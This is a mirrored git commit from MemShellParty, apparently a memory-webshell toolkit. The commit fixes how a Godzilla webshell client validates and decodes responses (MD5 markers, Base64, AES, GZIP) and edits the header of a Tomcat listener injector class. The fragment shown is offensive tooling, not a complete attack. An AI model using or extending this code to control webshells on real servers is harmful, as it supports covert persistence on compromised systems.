mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
fix: godzilla listener check error
This commit is contained in:
@@ -194,7 +194,10 @@ public class GodzillaManager implements Closeable {
|
||||
if (StringUtils.isEmpty(response)) {
|
||||
return false;
|
||||
}
|
||||
return response.length() > 32 && response.startsWith(md5.substring(0, 16)) && response.trim().endsWith(md5.substring(16));
|
||||
if (response.length() < 32) {
|
||||
return false;
|
||||
}
|
||||
return response.contains(md5.substring(0, 16)) && response.trim().contains(md5.substring(16));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
@@ -202,8 +205,9 @@ public class GodzillaManager implements Closeable {
|
||||
if (!isValidResponse(responseBody, md5)) {
|
||||
return responseBody;
|
||||
}
|
||||
int lastIndex = responseBody.indexOf(md5.substring(16));
|
||||
String result = responseBody.substring(16);
|
||||
result = result.substring(0, result.length() - 16);
|
||||
result = result.substring(0, lastIndex);
|
||||
byte[] bytes = Base64.decodeBase64(result);
|
||||
byte[] x = aes(key, bytes, false);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
|
||||
|
||||
+1
-1
@@ -14,10 +14,10 @@ import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Tomcat Listener 注入器
|
||||
* Author: pen4uin
|
||||
* 测试版本:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
|
||||
Reference in New Issue
Block a user